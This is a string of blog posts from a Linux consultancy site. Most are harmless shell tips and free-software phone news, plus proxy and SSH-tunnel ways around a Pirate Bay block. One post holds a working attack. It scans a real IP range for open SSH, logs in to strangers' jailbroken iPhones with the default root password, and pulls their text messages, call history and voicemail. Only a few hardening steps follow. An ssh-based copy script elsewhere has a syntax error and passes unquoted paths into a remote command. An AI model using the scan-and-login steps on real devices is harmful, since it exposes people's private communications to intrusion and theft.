Almost everybody loves the GNU command top. Top displays information about what's going on at your system. Some systems don't provide top, this script can be used as an alternative for top:
#!/bin/sh
# If the shell script is stopped with CTRL+C, the screen
# might need to be sized correctly.
trap 'eval $(resize); exit 2' 2
# A loop to display activity.
while [ 1 ] ; do
eval $(resize)
output=$(ps -eF "pcpu time pid user comm" | grep -v TIME | sort -rn | head -$(("$LINES"-2)))
echo ' %CPU TIME PID USER COMMAND'
echo "$output"
sleep 3
doneAs we all know, when purchasing a new phone, it often has a slew of restrictions. On the telephony side, you are usually only allowed to use an authorised type of SIM card in the phone but there are far greater restrictions as to what you can do with the software on the phone. Almost all phones out there use proprietary software and, in the cases where a Free Software kernel is used, it is always hidden away and you can't modify your phone by installing a free GNU/Linux distribution on it since only authorised, signed operating systems will be booted.
Besides the software in the phone not being Free (as in freedom) software, there are often arbitrary restrictions on how you can use the phone. For example, DRM to restrict how you can play the music you have legally purchased, you cannot install you own applications but only applications approved by the Telco and/or phone vendor - think of the iPhone.
I am writing a series of articles in order to share my experiences and hopefully help people get familiar with Free Software on mobile devices, specifically cellular telephones. This first article will focus on a high level introduction to some of the hardware and software available for open source/free software phones. For those interested - I am using a Neo Freerunner running QTextended as my daily phone.
All this Free Software is no good if there is no phone you can install it on so I will now give a non-exhaustive list of the mobile devices I know about on which you can install free software.
The Neo Freerunner is designed to be an open phone from the ground up - the manufacturing diagrams are published as CAD files which anyone can use as a basis for another phone. The Neo Freerunner is the most promising, truly open phone that I am aware of and has a highly active community developing software for the Neo Freerunner and future phones from Openmoko.
The software on this phone (covered in Part 2) is not quite ready for end-user use but can be used as a daily phone by enthusiasts. That said, I expect that basic functionality will be stable in half a year.
The Google G1 is a Linux based phone brought out by Google, it seems they want to compete with the Apple iPhone. The retail G1 is a locked phone that will only run authorised images so no change there. However, you can gain access to the full functionality of your phone in two ways; rooting the phone or buying the developer G1 called the "Android Dev Phone 1". Once this has been done you can proceed to experiment to your hearts content with the underlying Linux system making up the G1 - with some limitations.
The now discontinued Green phone used a software stack called Qtopia created by Trolltech (now owned by Nokia) - the same people who develop the QT toolkit in use by such projects as KDE and countless other, smaller applications.
The idea behind the Greenphone was to promote Qtopia as a mobile development platform and not as an end-user telephone. Trolltech no longer ships the Greenphone and the Qtopia software stack as been renamed to QTextended. QTextended has just released version 4.4.3, which will be the last release of the QTextended platform as this too is being discontinued but a community maintained version will still be available and may even become better than the Trolltech version.
The Nokia N810 supports the running of Open Source software - the main software stack target at this device is the Maemo plaform but it also supports QTextended and Debian GNU/Linux. By installing Debian on the N810 you can access to the vast software repositories available to Debian systems.
Yes, you read correctly, you can now run Linux on your iPhone. This project is still in its very early stages and already seems to be laying the groundwork quite well. Definitely worth keeping an eye on. Also, I suspect you will need a jail-broken phone in order to install Linux on your iPhone and Apple may release updates to their boot loader ROM that will make it difficult to install Linux on the iPhone.
Netbooks
And, let's not forget, the ever popular Netbooks being made by seemingly all major computer manufacturers. While not strictly speaking a phone or a "tablet", they are nevertheless very mobile and so I will cover them here. The recent Netbook trend all started with the Asus Eee PC which made people realise that they just need "good enough" computing rather than a super computer on their lap.
One can easily install any Linux distribution on these devices and, when combined with a mobile broadband device (aka "dongle"), you have a powerful, mobile Internet device. Especially useful for those of us that are on call!
A very good history of the Netbook can be found at Arstechnica.
In the next article I will be taking a deeper look at the various Free Software stacks that are available for running on your mobile device. Stay tuned!
Linux professionals (administrators, engineers, architects) will manage during the financial crisis. That's what sites like Cyberciti predict.
It's hard to tell what the impacts of the recession will be for Linux professionals, but here is why "we" should be perfectly fine:
Well Linux professional, hope that helps you to manage during these "interesting" times.
Here is the problem; you need to print a single line filled with dashes. Will you just echo 80 dashes or write a beautiful loop for it?
$ echo "--------------------------------------------------------------------------------"$ n=0 ; while [ $n -lt 80 ] ; do printf "-" ; n=$(($n+1)) ; done ; echoBoth give the same result, but the easy solution is faster. Result from the machine where I am working on:
| Test | Easy way | Aesthetics way |
| Time to execute: | 0.000 seconds | 0.039 seconds |
| Bytes on disk | 88 | 70 |
| Complexity level | 1 | 7 |
| System calls | 37 | 657 |
| lines printed in 1 minute | 1471371 | 18318 |
The numbers show that simplicity is more efficient.
The summertime is starting soon. What can you do on your Linux machine to be prepared for Daylight Saving Time?
Time is a very complicated matter; it shifts every half year, there are leap years and seconds, some countries change the start or end date of summertime, many countries have multiple timezones, some servers can be in one zone while the users can be in a different zone, and so on.
All the timezone information is stored in /usr/share/zoneinfo. The directories and files in there are definitions of what the displayed time should be. The displayed time is based on Coordinated Universal Time (UTC) adjusted to the rules listed in a timezone file in /usr/share/zoneinfo.
To modify the timezone for your computer; copy a timezone file to /etc/localtime. For example to set the timezone to Europe/Amsterdam:
# cp /usr/share/zoneinfo/Europe/Amsterdam /etc/localtimesystem-config-time to manage time and timezones.
Most likely your Linux box is already prepared for DST. Above all that, Network Time Protocol (NTP) is so extremely easy to use, that syncing your time is no problem at all. To be prepared for DST, use NTP and update all packages on your Fedora machine like this:
# yum update
# yum install ntp
# service ntpd start
# chkconfig ntpd onThere seem to be some problems with Google Apps since approximately 11:00 CET on 24th of februari 2009. When you are trying to login, you'll get an error like this:
Server Error
The server encountered a temporary error and could not complete your request.
Please try again in 30 seconds. The title bar reads:
502 Server ErrorThe issue is discussed in The Google support forum. Meanwhile, we will wait for Google Apps to be available again...
Using the program SCP is not needed, use this scipt to use SSH for transferring files:
$ ssh user@machine "cat /remote/file" > /local/fileTo use this trick in a shell script-wrapper:
$ cat ssh-scp.sh
#!/bin/sh -x
host=$(echo "$1" | cut -d@ -f2 | cut -d: -f1)
user=$(echo "$1" | cut -d@ -f1)
remotefile=$(echo "$1" | cut -d: -f2)
localfile="$2"
if [ ! "$host" -o ! "$user" -o ! "$remotefile" -o ! "$localfile ] ; then
echo "Please use all requires options, for example:"
echo "$0 user@host:./file ."
exit 1
fi
ssh $host "cat $remotefile" > $localfile
$ chmod 755 ssh-scp.shNow "replace" the normal SCP by using an alias:
$ alias scp="~/ssh-scp.sh"One flaw of this script is that all options will have to be configured statically in .ssh/config.
A jail broken Apple iPhone with OpenSSH installed is accessible over the internet using ssh and the default root password "alpine".
You can use a short script to find IP addresses that have port 22 open and try to login. You can run this script from your Mac or any Linux machine.
#!/bin/sh
fourth=1
third=0
mkdir -p /tmp/scan-iphones/open
mkdir /tmp/scan-iphones/closed
while [ "$third" -lt 192 ] ; do
while [ "$fourth" -lt 255 ] ; do
if [ ! -f /tmp/scan-iphones/94.157."$third"."$fourth" ] ; then
if [ ! -f /tmp/scan-iphones/open/94.157."$third"."$fourth" ] ; then
if [ ! -f /tmp/scan-iphones/closed/94.157."$third"."$fourth" ] ; then
if [ -f /tmp/scan-iphones/stop ] ; then
echo "Stopping because /tmp/scan-iphone/stop exists."
exit 1
fi
touch /tmp/scan-iphones/94.157."$third"."$fourth"
nc -w 1 -z 94.157."$third"."$fourth" 22-22 > /dev/null 2>&1 && touch /tmp/scan-iphones/open/94.157."$third"."$fourth" || touch /tmp/scan-iphones/closed/94.157."$third"."$fourth"
rm /tmp/scan-iphones/94.157."$third"."$fourth"
fi
fi
fi
fourth=$(($fourth+1))
done
fourth=1
third=$(($third+1))
donetouch /tmp/scan-iphones/stop.
Now that you have IP addresses where you can login, use one of these "features":
From your Mac or any Linux machine, type:
$ ssh root@IP-ADDRESS-OF-IPHONE
# sqlite3 /private/var/mobile/Library/SMS/sms.db
SELECT * FROM message;From your Mac or any Linux machine, type:
$ ssh root@IP-ADDRESS-OF-IPHONE
# sqlite3 /private/var/mobile/Library/CallHistory/call_history.db
SELECT * FROM call;From your Mac or any Linux machine, type:
$ scp root@IP-ADDRESS-OF-IPHONE:/private/var/mobile/Library/Voicemail/*.amr .To secure your iPhone, you can use one or more of these measures:
# passwd.# passwd mobile.launchctl load -w /Library/LaunchDaemons/com.openssh.sshd.plist./private/etc/ssh/sshd_config.I hate it when people use week numbers, like "week 34". Week numbers are mostly not printed on any calendar or schedule. So; here is how to convert a date to a week number and a weeknumber to a date.
This is an easy one, because the man page of date simply explains: %U - Displays week of the year(Sunday as the first day of the week) as a decimal number[00 - 53] . All days in a new year preceding the first Sunday are considered to be in week 0.
$ date +'%U'
06A little harder, that why you don't have to figure it out yourself, just copy-paste and replace to meet your requirements:
$ date +'%U' 2009-10-2
39This is not an easy one and requires a very nasty trick. To get a day in week 23 for example, use this command:
$ date --date="$(((23-$(date +'%U'))*7)) days"
Mon Jun 8 12:11:40 WEDT 2009We all love The Pirate Bay, I guess the Danish people do too.
Now that The Pirate Bay is blocked for Danish people, here is a recipe for connecting to The Pirate Bay after all.
UPDATE: Simply visit The Pirate Bay through Me in IT Consultancy.
1. Use a web-proxy in some other country.
This is a very simple trick. Go to either Proxify, Zend2, or any other anonymous proxy and enter http://thepiratebay.org/.
2. Use a proxy in some other country.
Find yourself an open proxy in any country but Denmark.
This trick is a little harder, because it's not very easy to find a working open proxy and the proxies that are open tend to be shutdown or closed sooner or later.
3. Setup an SSH-tunnel via some other country.
This is an even more difficult trick, but works rather stable. It requires your to have access to a Linux or UNIX box somewhere outside Denmark.
Using OpenSSH:
$ ssh -L 8080:thepiratebay.org:80 machine-in-other-country.example.com
When that's successful; visit http://localhost:8080 from your web browser.
Using Putty:
When that's successful; visit http://localhost:8080 from your web browser.
Good luck on you!
| About | Consultancy | Articles | Contact |
|
|
|
|
|
| References | Red Hat Certified Architect | By Robert de Bock | Robert de Bock |
| Curriculum Vitae | By Fred Clausen | +31 6 14 39 58 72 | |
| By Nelson Manning | robert@meinit.nl |